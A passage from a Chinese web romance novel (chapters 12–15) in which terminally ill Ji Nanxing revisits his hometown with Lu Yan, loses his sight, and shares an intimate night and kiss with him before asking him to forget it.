季南星实在听不下去了,推着峰哥往后台走,“你还是赶紧换一碗吧,要全糖的,致死量的糖,越多越好!” 陆宴一错不错地盯着季南星落座,黑沉的眼睛几乎要把他身上盯出一个洞。 他什么都没说,抿紧了唇。 季南星心虚地摸着耳垂,正要说什么,便听陆宴淡淡道: “季南星。” “你还追过他。”《 》 12、第12章 闹出这档子乌龙,季南星心里把缺心眼的峰哥叨叨了一遍。 他尴尬咳了几声,干巴巴道:“你别听峰哥瞎说,他人都认不清,健忘得很。” 陆宴目光平直地看着他。 季南星硬着头皮补充道:“高中的时候,峰哥帮了我们很多。我妈那边……不太方便待,放学后,我一般都在他这。那会,许桓家里也不太平,峰哥就收留我们到半夜。考上a大以后,我没再回来,很多事,他都不知道。” 他顿了顿,才看向陆宴冷漠的眉眼:“其实,你跟许桓……长得是有点像的。” 陆宴掀起眼皮看了他一眼,“哦,是吗。” 平静无波的声音,听不出来一点起伏,却莫名渗着凉意。 冷冰冰的人机又上线了,季南星讪讪,把自己的糖水递过去。 “您要不先将就尝尝我这个,也算招牌了,挺甜的。” “不要。”陆宴冷冷道。 “额,行,那我自己——” 他作势要把碗收回来,手腕却猛地一疼。 “季南星。” 陆宴不由分说攥着他的手,淡淡抬眼:“高材生,也早恋吗。” 季南星一讪,眼神飘忽:“也不算早恋,都没在一块算什么恋,顶多算暗恋。” 跟许桓称兄道弟了整整三年,高考一毕业,一告白就被拒绝,失恋还没来得及伤心,第二天许桓就从街上搬走,消失得无影无踪。 平心而论,季南星和许桓的这段“初恋”,无论是八年前还是八年后,开始和结束,都挺突然的,完全是可以列入人生黑历史的地步。 他唏嘘挫败地叹气,陆宴还牢牢把着他的手不放。力度不大,甚至可以说,很轻柔。 就在季南星忍不住要挣脱的时候,陆宴突然大度地松了手。 他缓和了脸色,像是想通了什么一样,又变成了克制而沉静的热心市民陆先生。 “没事,现在也失恋了。” 季南星狐疑地抬眼。 没事,没什么事? 可没等他再问,大嗓门的峰哥掀开帘布出来,将季南星的问题堵了个严严实实。 峰哥糖水是石桥高中的招牌,方圆五公里的中学都流传着峰哥的传说,每天放学时间都人挤人地排队。 但这些年教育改革,许多中学都移了校址,生意也一年不如一年,开了十几年的店铺如今也快到头了。 “本来还能再坚持坚持,但没办法,那个新来的什么校领导,非说我们这是非法经营用地……要么转让,要么闭店等核查下来,才能继续开。” 峰哥摇着蒲扇,一米八的大汉子耷拉着脑袋,老实巴交的脸上满是愁色。 “要是就我一个人倒也还成,但前几年,我媳妇儿生了个大胖女儿,圆溜溜的,跟她妈妈一样漂亮得很。我苦点没什么,可我老婆闺女哪能跟着我受苦。” 他叹了口气,望着自己开了十几年的心血店铺,“前几天有个老板过来,觉得我这个店挺好,开的价钱也还不错……你嫂子不让我卖,可真跟校领导耗着,我们小老百姓也耗不下去。” 季南星看着门口堆叠的杂物箱和半拉下来的闸门,原以为只是临时装修,没想到是真要闭店了。 他沉吟了会,道:“峰哥,我这几年工作存了点积蓄,虽然不多,但好歹也是……” “别别别。”不等季南星说完,峰哥连连摆手:“你们年轻人用钱的地方多得是,自己留着好好使……你这几年没回来,我也猜到你不大乐意回来这个破地。” “南星,你有出息,既然飞出去了,就别回头了。甭管别人说什么难听的,顾好自己最好紧。你妈的事我也听说了,你们母子俩这么多年,外人说不清楚,但人也走了,有些事你也开看点。” 季南星轻声应着,一直到告别峰哥往回走,情绪依然不高。 住院前他把钱都捐光了,但前几天,航天研究所的项目奖金拨下来,也是比不小的收入。 他人之将死,没什么用处,但怎么让峰哥收下这笔钱,却是个麻烦事。 季南星想着事情,一时没看路,险些跘了一跤。陆宴眼疾手快拉了他一把,他才猛地回过神。 “你想帮他?”一旁沉默的陆宴突然开口。 季南星点点头,认真道:“这些年我跟峰哥联系不多,过年过节给他发红包,他也不收。我家里的情况,你知道的,在这种封闭的小镇里,名声不好,很多人见了我都觉得晦气。但峰哥不会,有好几回打架闹出事,请家长去医院捞人,都是他陪着我们去的。” “为什么打架?”陆宴停顿了会,抬眼:“那面涂鸦墙?” “嗯。那会我们刚入学,家里条件都很差,所以被盯上了。我们这种学校,不良学生扎堆,大家都以不学习、抽烟打架、霸凌同学为荣,偶尔有几个爱学习的正常学生才是‘不正常’的。” 很不巧,他和许桓刚好是那两个“不正常的”。 报团取暖是人类的天性,这种情况下,季南星对许桓有特殊感情,顺理成章又水到渠成。 陆宴能理解,却依然感到不快。 他固执地坚信,如果换成他陪在季南星身边,他不会让季南星画出那些涂鸦,也不会让季南星有打架到进医院的时候。 这种想法天真且幼稚,但时不时浮起来,以至于陆宴打开手机看到管家发来的许桓的伤势情况,下意识地更加烦躁。 * 回去的时候,天已经完全黑下来,季南星带着陆宴在老巷子里穿行。 石桥镇是个历史古镇,但旅游业没发展起来,半新不旧,老建筑没有资金翻修,许多木屋门板已经腐了,屋门大敞,像荒废的无人村。 “之前有个大老板画了饼,说得天花乱坠,要开发成度假古镇,但最后什么也没发展起来。” 季南星一边走,一边介绍着。 他说得也保守,没直截了当说,这个大老板姓陆,陆志华的陆。 陆志华年轻的时候来a市考察,在石桥镇度假待了半年,期间祸害了许桓的母亲,给镇领导许诺了条件,最后新鲜劲一过,拍拍屁股走人,连个影都没留下。 推开一闪陈旧的木门,季南星带陆宴回了自己小时候的家。 准确来说,是肖雯的家,赌狗爸的一百万赌债暴雷后,这间房子就被抵给高利贷还钱。 前两年,肖雯赚了点钱,房价大跌的时候,又买了回来。 门口的信箱里塞了几份《航天日报》,被近日的大雨打湿,洇开一片墨痕。 看日期,最新的一版还是前天。 肖女士没读过什么书,打麻将的东南西北中才堪堪认得全,但晦涩难懂的《航天日报》却每期不落。 季南星攥着几份打湿的报纸进门,脚步缓慢而发沉。 屋内的陈设和记忆中相差不大,肖雯念旧,房子买回来一切如旧,桌上摆着肖雯爱看的美容杂志,客厅墙上挂着季南星的毕业证书和两张合照。 季南星在这个房子里生活到六岁,谈不上有感情。但六岁前的记忆,还不至于充满谩骂和毒打,因此勉强算得上正常。 大限将至,季南星走马灯似的踩点打卡,跟每个将死之人一样,回头看看自己的这一生。 不太精彩,但好歹也坚持了这么多年,称得上一句“不容易”。 他在客厅书架上找到一本小时候随手画的画册。 季南星画画的天赋很小就展现了,透视、色彩、线条和构成,好像无师自通一样地流畅自然。 但肖雯对此意见很大,甚至算得上厌恶。但凡季南星涂涂抹抹,都免不了一顿打骂。 季南星小时候的梦想是当艺术家,长大后却走了完全相反的另一条路。 他翻了翻手头的画册,一些很幼稚的涂鸦,墙角的流浪猫猫、游客牵着的笨蛋小狗、挑水的大爷和织毛衣的奶奶……乱七八糟,什么都有。 他嘴角微微勾起来,像不小心偷窥了一个少年的美梦。 * 回程路上,季南星状态出乎意料地好。 陆宴看着他手里的画册,说:“你心情变好了。” 季南星向来很容易满足,他懒懒眯着眼:“回了躺家,也见到了想见故人,既没下雨,也没发病,出行的目的达成,很成功的一天。” 他心里有一份《遗愿清单》,今天一口气完成了好几项,很难心情不好。 “更何况,还有意外收获。” 他举起手里的画册,朝陆宴笑道:“小时候的纪念品,我还以为早就扔掉了。” “你很喜欢画画。” 季南星应了声,怀念道:“小时候,家里没出事之前,我一直以为自己长大后会当画家。后来发现,学艺术挺贵的,就算家里不出事,应该学不起。” 他浅笑着,很坦荡,没什么遗憾之色,“不当画家也没关系。随手画着玩,也算是画。” 更何况,前几天他刚把画架装上,还没开始买颜料,陆宴先差人送来了一整套老荷兰。 季南星没用过这么贵的颜料,这么一想,心也跟着痒起来。 他眼底浮现微亮的光,轻笑道:“前几天生病没机会,正好回去验收陆总的礼物。” 一路往停车场走,季南星健谈了许多,脸上的病容和倦色都被笑意掩过,精神格外地好。 陆宴静静听他说。 “应该是在罗弗敦的某个小岛上,有个海滩露营地,叫ramberg。峡湾下面有个红色的教堂,很漂亮。我用那张照片当了三年壁纸。” 季南星一直想去一趟北欧,但以前他在保密单位,护照强制上交。现在护照下来,身体却不允许。 “我是没机会去了,陆宴,有机会的话,你替我去吧。” 他心情不错,话里也带着笑意,没有遗憾,也没有惋惜。 夜风吹起两人的衣角,飞蛾绕着路灯打转,昏黄的光影落在季南星浅笑的脸上,像上世纪的老电影。 不一会。 风送来陆宴低沉的声音,“好,我替你去看。” 去停车场的小道是一段上坡路,路两边种满了梧桐,路灯的光被树影遮蔽了大半,在地上映出一道道树叶的光影。 两人并排走着,季南星脚步渐渐变得缓慢而沉重。 他身体弱,走得慢,陆宴放慢脚步等着。缓慢地走出几十米,身后的人影突然停顿在原地。 陆宴敏锐地回头,“怎么了?” 季南星低垂着头,整个人笼在阴影里,像覆了一层沉重的黑雾。 他缓慢地眨了眨眼睛,身形微微抖,嘴唇发颤,半晌,才挤出一道干涩的声音。 “陆宴,我眼睛看不见了。”《 》 13、第13章 “晚期的患者,出现暂时性失明、失聪,四肢退化、脑鸣、耳鸣、头晕……都是很普遍的。” 医生耐心解释,“肿瘤损害局部神经结构,会引起不同症状和体征……后续恢复了,也可能复发,听力视觉障碍,失语甚至昏迷。这些天,你就别往外跑了,发烧没好全,再出去活动,可能会加剧病情。” 医生推门出去,床边传来一道担忧的女声:“怎么才三四天,就严重了这么多呢。” 季南星脑袋轰鸣,听觉也慢半拍,好一会才分辨出阿姐的声音。 他脸色苍白地扯出一个笑:“生病嘛,总是反反复复的。” “您现在感觉好点了吗?饿不饿,要不要吃点东西,陆先生说,您晚饭还没吃。” “没什么胃口,算了吧。” 在外面转了一圈,这会歇下来,季南星才感到身体的疲惫和疼痛。 “陆宴呢?” “在外面跟医生说话,陆先生见识广,懂得多,估计能有些法子。” 季南星笑了笑。 到了晚期了,也不能有什么办法。 失去视觉,其他感官变得更加清晰。陆宴一进门,季南星便侧着头看过来。 他眼睛没有焦距地涣散着,长而密的睫毛没有安全感地眨动。没有得到陆宴的回应,他以为自己看错了方向,脸上出现几丝慌乱,又马上被虚弱的笑掩盖。 他惯常先安慰别人,“医生说是正常症状,会慢慢恢复,不用太担心。” 屋里安着前几天季南星有力气的时候折腾的画架和画具,床边桌上摆着几本画册,翻开了几页,每一页都细致做好了标签笔记。 陆宴把散开的画册收好,说:“只是暂时的,一周会恢复。我最近不忙,可以每天都过来。” 季南星想了想于助理那张苦大仇深的脸,轻笑了声:“旷工也经不住这么旷,你要是每天都来,于助理真要找我索赔了。我一穷二白,钱也捐没了,赔不起这笔巨款。” “没要你赔,我自愿。” “不用,我就……当是七天失明体验卡。”他轻快说着,眼底却还是泄出几缕不安。 虽说是暂时性,但医生也说了,病症反反复复,尽管一周后恢复了,身体也可能出现其他症状,情况并不乐观。 季南星做好了失明的准备。 他掀开被子,摸索着墙壁站起来,才迈开两步,双手就被人攥紧。 陆宴手掌比他大许多,骨节分明的,带着热意,在黑暗的视线里,很有安全感。 但季南星推开他,说:“我自己习惯习惯,总不能事事都靠着你们。” 他光着脚踩在地毯上,双手在虚无的空气中不安地摸索,步伐谨慎缓慢。陆宴站在他一步外,没再妨碍他,只是在他将将要碰到障碍物的时候及时出声。 “是桌子。” “沙发扶手。” “衣柜角,小心。” 季南星睁着眼睛,茶色的眼珠没有焦距,他略微歪着头,像在找陆宴的方向,看上去有些懵懂。 他一边乖巧地应着,一边摸索着适应失去视觉的生活。 直到摸到一个手感粗糙的木头,他突然停下了脚步。 摸索的动作陡然一僵。 这次,不等陆宴提醒,他自己先开了口:“是画架啊。” 一点点摸过画架的轮廓,季南星摸到一侧柜子上的画笔。 季南星有强迫症,每一样东西都要按照尺寸、颜色严格摆放。画具到的第一天,他婉拒了阿姐的帮忙,自己按照以前的习惯齐整摆列上去。 现在,摸着手底的形状,季南星能清晰回忆起对应的每一个位置。 就在几个小时前,他还开玩笑说,这辈子没用过老荷兰,难得陆总慷慨大方,回去试试贵货是不是真的有贵的道理。 没想到三个小时过去,一切都大变了样。 老天爷好像就爱和他开这种地狱玩笑。 就像刘勤庚终于要带着他那幅画回国,而他却注定见不到一样。 一旦他想起来做什么事,总要先给他一点希望再猝不及防地打碎,嘲笑他个彻彻底底。 人生24年,季南星被命运愚弄惯了,只是没想到临到头,连这种小事也要被浇一盆冷水。 肩膀丧气般地卸下来,他不想太颓丧,下意识牵起一点嘴角,却没笑出来,弧度半僵着,显得滑稽。 少顷,他放下画笔,像叹气似的。 “怎么到最后,还是没画成呢。” * 七天后,季南星的视线并没有好转。 他眼前依然蒙了一层雾,世界在他眼底是一团浑浊的灰,只看得见模糊的影子,连人影都摇晃不稳。 尽管陆宴不说,但季南星感觉得到,每次来的医生都不一样。 为了他的眼睛,陆宴大概又发动了钞能力,只是不论他怎么找,医生怎么换,上帝的垂怜依然没有到来。 但也不是完全没有好消息。 第八天的时候,季南星接到峰哥的电话。 峰哥一如既往火急火燎的性子,嗓门大,中气足,隔着话筒都能听见他的喜气。 “南星,告诉你个天大的好消息。还记得我上回给你说的那个为难人的领导吗?他走人了!前几天,学校来了个什么组调查,查出他一些事,直接给调离了。昨天来了个新领导,态度特别好,我这个店用不着卖了!” 受他沾染,季南星沉郁的心情也散了不少,“那太好了,以后嫂子也能放心。” “你最近挺忙吧?微信都找不找你人。我听那个新来的领导说,这事你出了不少力,城里人的关系弯弯绕绕俺们乡下人也不懂。你嫂子让我问问你啥时候有空,回来请你吃个饭。我闺女还给你录了感谢视频,就等着见她南星叔叔了!” 一朝失明,季南星连微信消息都看不了,他看着灰蒙蒙的前方,顿了几秒,才自然笑道:“这段时间有点忙,走不开,等年底吧……过几个月有空了我再给你回电话。” “得嘞!峰哥我亲自下厨,上回你带回来的小兄弟也来不?是姓陆吗?我听那个领导说,是什么陆总……小伙子真是混出名堂来了。既然在一块了,也带回来一块吃饭,都是一家人。” 季南星无奈。 心想峰哥不仅认错人,连名字也没记住。 挂了峰哥的电话,门口传来一阵熟悉的脚步声。 当了一周的小瞎子,季南星已经学会如何通过脚步声分辨人。 陆宴的脚步很稳,也很静,和他的人一样,沉稳克制。 他仰着头望过去,径直问道:“峰哥的事,是你帮忙解决的吗?” “嗯,不是很麻烦,随手而已。” “怎么又挂我的名字。”季南星笑道:“热心市民陆先生,捐款用我的名,怎么连做好事也要挂我的名,我哪里受得起。” “你受得起。”陆宴淡淡道:“如果不是因为你,我不会做这些事。” 陆宴式的人机发言,有些呆还有些死板,但听了大半个月,季南星也听习惯了。 手机传来几条提示音,季南星闻声望过去。 “峰哥给你发的消息,几条视频,要听吗。”陆宴说。 “听听吧,估计是他家闺女。” 季南星猜得不错,视频里峰哥揽着老婆孩子,一家三口齐齐整整,对着镜头咧着嘴笑。 他看不见,却听得到峰哥爽朗的笑声,以及小女孩雀跃的“南星叔叔”的喊声。 嘴角微微勾起来。 峰哥碎话多,带着闺女道了好几声谢,末了又说:“哦对了南星,我记得你画挺好,我家囡囡就爱涂涂抹抹,就是不知道画得怎么样,我们粗人也看不懂。下次回来,顺便让她跟你学两……” 声音戛然而止,视频还没播完就被按停。 季南星疑惑抬眼:“嗯?” 耳边传来陆宴平淡的声音:“手机没电,自动关机了。” 季南星只是瞎了,不是傻了。 手机一天到晚充着电,他一个盲人没机会玩,怎么也不可能没电。 他浅浅笑了下,也没拆穿。 一连八天,不同医生轮番过来,季南星的病情依然没有起色。 他自己慢慢习惯了黑暗,身边的人却越来越着急,阿姐每天晨起见了他,第一句话都是:“小季,今天感觉好点了吗?” 她甚至不敢问:“小季,今天看得见了吗。” 阿姐尚且如此,陆宴更不必说。 不能画画这件事对季南星打击不小,但就整个病房来说,他好像是创伤最微弱的一个。 阿姐在他失明的第二天就把画架和画具都收起来,搁置在一旁。 陆宴更是,把所有书本都收起来,柜子桌子的拐角也被贴上防撞膜,几个人极尽全力,对失明这件事避而不谈。 起初的两天,季南星躺在床上,分不清白天黑夜,时常怀疑自己是不是还活着。 但适应了七天,他心态也转变了不少。 今天日光不错,他扶着墙壁站起来,光脚踩在地毯上,自己摸索到窗台边,整个人笼在暖光里,显得恬静。 “其实慢慢也习惯了,眼睛看不见,但身体还是感受得到,我也不爱出门,没事在屋里晒晒太阳,跟以前也没什么不一样。” 他闭着眼,感受日光落在肌肤上的暖意。 季南星很瘦,也很白,他微仰着头,修长的脖颈在日光下散着柔光,颀长的身影笼在暖光里,像中世纪的油画。 油画般的人缓慢地转过身来,朝陆宴微微侧了侧脑袋,轻笑道:“不过今天天气好,也可以出去走走。” “热心市民陆先生,有空陪小瞎子去花园转转吗?”《 》 14、第14章 私立医院装修豪华,院里的花园修得比文化公园还秀美。 季南星没拿盲杖,他细瘦修长的手掌被陆宴包在手里,侧腰也握在陆宴掌心,两道身影紧贴在一起,缓慢行走。 这是季南星失明以来第一次踏出病房门,户外的光线比屋内明亮些许,他迷蒙的眼睛微微张着,好奇地四处张望,却还是什么都看不见。 花园里人不多,六月的午后,日光算不上温和,几个小孩绕着池塘打闹,遥遥传来一阵嬉笑声。 失去了视觉,其他感官神经更加敏锐,空气里,连风吹过树叶的翕动都清晰可闻。 很陌生的感受,季南星笨拙地用听觉感知这个世界。 一阵脚步声快速靠近,在眼前站定。 男人礼貌的声音响起,“你好,我是仁心社团的志愿者,我们近期有针对盲人推出的社区活动,感兴趣的话可以来参加喔。” 手里塞了个册子一样的东西,季南星愣了半晌,才反应过来,是残疾人活动社团的宣传单。 脚步声远去,季南星缓慢眨了眨眼睛,突然感到一阵强烈的不真实。 远处的童声突然变得尖锐刺耳,连风声也吵闹喧嚣。 他呆楞在原地,忽然觉得世界的一切都离他很远。 明明就在花园里,他却感到四周空荡荡,风声、人声都变得遥远而不真实。 他终于真切地意识到,他是真的看不见了。 看不见日光,看不清景色,感知不到晨昏昼夜,失去了和世界最基础的连接方式。 不管他主观上愿不愿意承认,落在身上的怜悯的注视、眼前灰暗的事实都在提醒他: ——他确实是个盲人了。 日光正暖,季南星额前却渗出冷汗,他浑身战栗着,连站立都变得艰难。 脸色瞬间煞白,他茫然地望着前方。 黑暗、黑暗…… 眼前的一切,日光、稚童、树影……仿佛都不存在,整个世界只余下辽阔的、没有尽头的黑。 手上骤然一暖。 发凉的手被一只宽大的手掌包笼住。 手里的宣传册被抽走,热意顺着手上肌肤传导过来,季南星眼睫顿时一颤。 身后撞上一个温热的胸膛。陆宴揽在侧腰的力度更重了些,搂得很紧,像把他嵌在怀里。 他微微仰头,迷茫地抬起眼,熟悉的男声紧贴在耳侧,一如既往地低哑,却莫名让人心安。 “会好起来的。我陪着你,别害怕。” * 第九天的凌晨,晨雾四漫。 季南星又一次从疼痛中醒来,他眼前依然一片灰黑,捕捉不到光影,看不见明亮。 他掀起被子,脚还没落地,心里却阵阵发凉,巨大的恐慌将他淹没。 失明以后,不仅仅视线黑暗,日常动作也会失控,最初的几天里,他连最简单的走路、喝水都无法独立完成,对世界的未知和恐慌时常让他连站起来,都觉得困难。 灰暗的世界里,迈出的任何一步,都要承担巨大的恐惧。 光脚踩在地毯上,季南星脚步虚浮地走了两步,突然一个踉跄,身形不稳往前栽去。 想象中的疼痛没有到来,眼前撞上一堵肉墙,属于另一个人的肌肤温度,温热,却带着几滴水珠。 季南星试探地摸索了几下,头顶传来低沉的闷哼。 “陆宴?”他诧异睁着眼睛,“你昨晚没回去吗?” 陆宴抓住他在胸前乱动的手,声音有些哑,“凌晨有个应酬,刚忙完。” 他身上带着轻微沐浴露的香气,季南星一手撑在他肩膀上,顺着流畅的肌肉往下,摸到了光滑结实的胳膊手臂,而后转回胸前……同样的触感,刚劲结实,随着呼吸微微起伏,有点烫。 他张了张嘴,才说:“你……你没穿衣服吗?” “刚洗完澡,听见声音就出来了。” 陆宴只系了条浴巾,头发还湿着,黑湿的发黏在耳侧,他把头发往后撩了撩,露出俊朗凌厉的五官,带了几丝野性。 季南星看不见,却感觉得到手底下的热度。 也就是说,他刚刚……仗着看不见,把陆宴摸了个遍? 靠近的吐息落在耳尖上,他脸色一赧,快速收回手,干巴巴哦了一声。 被揩油的男菩萨不置可否,陆宴一边擦着头发,一边倒了温水,娴熟翻出助眠药瓶递过去。 失明以来,季南星睡眠很差,焦虑、多梦、失眠是常态,只能依靠药物入睡,他倒出三片出来,手里的药品却被拿走。 “只能吃一片,多了对胃不好。” 陆宴不由分说地没收,季南星小声反驳:“一片睡不着。” “听会书?我给你念。” 他离得太近,强势野性的气息落下来,季南星略微偏过头,有些不自在。 “你、你还是先穿点衣服吧……” 陆宴再过来的时候,季南星已经躺回被窝里了。他揪着被子,却也没打算睡,失焦的眼睛微睁着,对着虚无的空气发呆。 察觉到床铺凹陷,他侧过身来,不知道为什么快速眨了眨眼睛,像是紧张。 “陆宴,你这些天……不会一直都没走吧?” “最近不忙,时间很充裕。” 季南星听着他说瞎话,“那你晚上……睡哪?沙发?” “嗯。” 季南星面露难色。 vip病房的沙发当然不算小,但陆宴一米九的金贵少爷,睡了整整一周的沙发,他却跟个死猪一样半点没发现。 前几天深夜,他在梦里疼醒,刚发出一点声响陆宴就能立刻凑过来,每次季南星一问,陆宴总淡淡道:“要处理一些工作,弄完就走。” 没想到这人是压根就没走。 他停顿了几秒,局促地揪着被角,幅度很小,不易察觉。但陆宴的眼睛24小时都挂在他身上,很快察觉出他的不自然。 “怎么了,想说什么?” 季南星虚虚看了他一会,被角快被揪出棉花了,才支支吾吾地挤出来一句:“你要不,上床睡啊?” “……” 没有得到回应。 季南星快速眨了眨眼睛,眼睛看不见,他只能凭着直觉朝陆宴的方向说话,却不料看错了方位,对着虚无的空气念念叨叨,有些呆,又有点可爱。 他找补似的慌忙开口:“我没别的意思,但你那么长一条人挤在沙发上,也不太合……” “适”字还没出口,身侧的被子就被人掀开了。 “?” “我进来了。” 薄被掀起一个角,温热的躯体钻进来,季南星脸上的局促化作热意直冲脑门。 他蹭一下钻进被窝里,只留了个乌黑柔软的脑袋顶在外面,像地上毛茸茸的小草,谁路过都想薅两把。 陆宴毫不客气地躺上来。 vip病房的床不小,但容纳两个成年男性也算不上宽敞。共享同一条被子,想拉开距离也拉不到哪里去。 季南星回避地翻过身,企图背对着陆宴,但不太熟练的小瞎子,辨别方位技能不佳,判断错了方向,一个翻身,把自己全须全尾送到陆宴跟前。 几乎鼻尖碰着鼻尖,连呼吸声都清晰可闻。 汗毛都要立起来了,季南星动作一僵,思考现在再翻个身回去会不会显得他很呆。 他浑身僵着,陆宴却很自然地撩拨他翘起的发。 “我联系了欧洲一个医生,对胶质瘤失明很有研究。他今晚的航班飞来,明天一早就能到。”他低声说着,声音很轻。 “再坚持两天,不会太久。” 这是九天以来,陆宴第一次提起这个话题。 轻柔的抚摸落在发上,季南星睁着眼睛,看不清陆宴的动作,却无比清晰地听见对方呼吸的起伏声。 刚刚的局促一扫而空,他放松下来,软下声应着,声音窝在被子里,有点闷:“嗯,知道了,也没有很辛苦。” “是辛苦的。”陆宴很快说:“我会让你继续画画的,我保证。” 头顶的抚摸收回,陆宴安抚地握了握他的手,“睡吧,晚安。” 隔着半掌的距离,季南星闭着眼,思绪很乱,胸口有点堵,又有点酸。 鼻尖闻到一股熟悉的冷香,混杂着沐浴露的味道,还有一股微甜的酒味。 他努了努鼻子,小猫似的嗅嗅:“你喝酒了吗?” 沉默了会,陆宴才说:“晚上有个饭局,味道很重吗?” 不太重,但终究是酒味,季南星不太喜欢。 身侧的人动了动,像是要走,季南星下意识伸手,正好抵在将将起身的陆宴身上。 结实的肌肉在手底下起伏,季南星没忍住摸了摸,辨认了一会,才发现是陆宴的腹肌,线条很好,硬度也适宜。 “我去沙发睡。” 低沉的声音响起,季南星如梦初醒地收回手,小声道:“不用,你睡吧,也没那么难闻。” 他闷在被子里,纤长的眼睫快速眨动,声音软糯,温驯乖巧得不像样。 身侧的人又躺回来,空气闷得厉害,季南星脸上热得慌,连耳尖也泛着红。 他下意识想侧身,可一转头,嘴唇却碰上一个柔软的东西。 很软,很薄,有点凉。 呼吸陡然一顿,另一个人的呼吸同样紧促地屏住。 空气停滞了一瞬。 温热的吐息靠得很近,近得几乎交融在一起。 季南星僵了半秒,马上错愕地别过头,却猛地撞上陆宴高挑的鼻梁,两人撞在一块,都不自觉地闷哼了声。 视线模糊,季南星隐约看见眼前一团灰色的人影,连轮廓也看不清。 鼻尖钝痛,他下意识想抬手去碰,手腕刚抬起来就被握住。 眼前的灰影骤然靠近,轻柔的触感停在嘴角,一触即分,轻得像羽毛,软得不真实。 失去焦距的眼睛猛地睁大。 季南星下意识张了张唇,可甫一张开,那道柔润的触感便滑进来。 四片嘴唇贴合在一起,他下意识往后躲,手腕却被拽了一下,温热的躯体相贴。 眼前一片黑暗,他还愣着,下唇旋即被含住吮/吸了两下。 轻软,湿滑,陌生的触感让人四肢发软。 季南星南星几乎呆滞在原地,失焦的眼瞳无措茫然地瞪大。 温软的舌尖一下下滑过唇缝,身体渐渐软下来,酥麻感顺着神经传达到四肢百骸,季南星被压在床边亲吻,连撑在陆宴胸膛上的手也忘了推拒。 “唔——” 他被亲得晕乎乎的,原本苍白的脸色透着红,连眼皮也跟着发烫。 双唇分开,陆宴垂着眼看他,目光一寸寸掠过他发红的眼尾、秀挺的鼻尖,而后,落在他莹润的唇上。 “季南星。” 鼻尖碰着鼻尖,他声音压得很低,又很近,几乎贴着他的唇问: “想亲你,可以吗?”《 》 15、第15章 可以吗? 后颈被往下按了按,季南星还没反应过来,又听那道声音更近了一点,下颌被捏住。 “不可以吗?” 心脏快速跳动,脑子还没回归,清丽的脸上泛着薄红,他缓慢眨了眨眼,有点呆,又有点……说不出的纵容。 “嗯?” 他从鼻腔里挤出一个闷闷的疑问,鼻音很重,不像疑问,像慵懒的轻吟。 于是,被纵容的人放肆地行使权力。 灼热的气息压下来,这一次没再克制,也没再收敛。 后颈被牢牢握着,陆宴吻得热烈又急切,连带季南星身上也跟着热起来,耳尖发烫,原本用来推拒的手现在也软下来,柔顺地搭在对方肩上,像鼓励般的默许。 室温无声中变得热烫。 失去视觉,其他感官都变得成倍敏感,温热的吐息落在侧脸,一阵清甜的酒气涌进鼻腔,季南星怀疑自己也跟着醉了。 不然怎么双手这么软,脊背也跟着发麻。 怀抱真实而温热,稳稳当当地笼着他,托举着他从漂浮的高空中缓缓落地,过去九天持续蔓延的不安和惶恐,好像在这一刻,终于得到宣泄的口子。 他浑浑噩噩地沉沦,眼睫颤动,顺从而纵容,好像只有这个灼热的拥抱和毫无理智的吻,才能让他感到自己还真真切切地活着,才能在无止无境的黑暗里找到一丝生存的实感。 理智消散,呼吸交缠。 这个吻格外绵长,长到季南星虚弱的身体下意识进行反抗,呼吸被掠夺,感官被成倍放大,过度激烈的占有让他连最基础的换气都做不到。 “别、我不……唔!” 堪堪分开两秒,季南星才舒了一口气,又马上被咬住下唇。尝试推拒的手被快速攥住,他徒劳地睁开眼,却依然无济于事,反而被用力地深吻住。 双唇分开时,季南星险些喘不过气。陆宴一松手,他身体马上软下来,轻飘飘被陆宴拦在臂弯里。 他呼吸有些喘,抓住陆宴的手臂小口小口地恢复呼吸,薄而红的眼皮发烫,看上去比发烧那几天还要红。 陆宴抱着他,目光幽深。 “你好烫。” 他手指捏了捏耳尖,像玩弄似的揉捏一阵,带着酥麻。 季南星茫然地瞪着眼,思绪宕机,他甚至无法通过声音辨别对方的位置。 灼热的、属于另一个男性的气息强势地将他笼罩,他眨了眨眼,还没从激烈的拥吻中缓过来,只能无措地揪着陆宴胸前的布料,将始作俑者认作安全港,依赖地靠着。 呼吸逐渐平缓,季南星迟来的理智开始运作,倏忽间,耳垂被叼咬住。 他猛的一顿,软而麻的触感让他一下清醒过来。 瞳孔瞬间增大,他几乎立刻推开了陆宴。 哆嗦着退回床边,季南星失焦的眼底染上慌乱,眼珠飞快转动,长而密的眼睫快速眨着,煞白的脸上,只余沉沉的惊慌和无措。 他紧攥着被角,面色发白,嘴唇动了动,却半天没发出一点声音。 两人靠得很近,近得可以感受到对方的吐息。 失去视觉,季南星看不清陆宴的神色,也不知道对方如何定义这个带着酒味的吻。 但眼下,理智恢复,清醒过来的那一刻,至少他自己已经后悔了。 明明只是心疼对方睡沙发,两个人凑活对付一晚,最后怎么会发展到现在这个结局? 最初还能用不小心来解释,可后来呢? 手明明长在他身上,他没喝酒,也没有醉,最后却还是没把人推开。 一时冲动? 见色起意? 日久生情? 还是长久的不安以至于破罐子破摔? 就算陆宴喝醉了,酒精作用一时上头,可他呢? 他是个要死的人,注定活不过两个月。明明一早做好了无牵挂安心等死的准备,心无杂念,连积极治疗都放弃了。 可现在……他竟然不清不楚地,跟陆宴接了个吻? 跟前男友的哥哥,接了吻。 在将死的时候,莫名其妙招惹了另一个人? 他这又是……在做什么? 夜色黑沉。 室内一片死寂,方才燥热的暧昧一扫而空。 季南星低垂着头,长睫垂下来,眼底的情绪也被一并遮掩。 额发被撩动,轻柔的吻落在眼角,像安抚:“怎么了,哪里不舒服?” 温柔的关怀像绵密的针一样扎在心口,季南星攥紧了被子,矛盾的想法在脑海里无声地打架、挣扎。 许久,他下决心似的呼了口气。缓缓抬起眼,他茶色的眸子清亮坚定地看向前方。 “陆宴,你喝醉了。” 周身空气陡然一沉。 陆宴眼底黯了黯,语速很快:“季南星,我知道自己在做什么,我很清醒。” “不,你醉了,陆宴。” 季南星缓缓说着,声音很轻,却异常坚定,一定要给今天这个吻盖棺定论,落下判词。 昏暗的光线里,陆宴看着他不安的眼睛和苍白的脸色,心一点点下坠、下坠,直至沉入深海,阵阵发凉。 他握住季南星忍不住颤抖的手,哑声问:“为什么?我可以……” “你不可以。” 季南星很快打断他,他没有抽回手,只是垂着眼,快速道:“陆宴,你今天喝了酒,喝醉了酒,不冷静,做一些……不太合理的事情,很正常的。我生着病,记忆也不好,很多时候早上做了什么事,不到晚上就忘干净了。今晚也一样……我健忘,也不会记得。” 他停顿了半晌,声音恢复平静。 平静得近乎冷漠。 “陆宴,你今晚就是喝醉了。酒醒以后,就忘了吧。” 月光被乌云遮蔽。 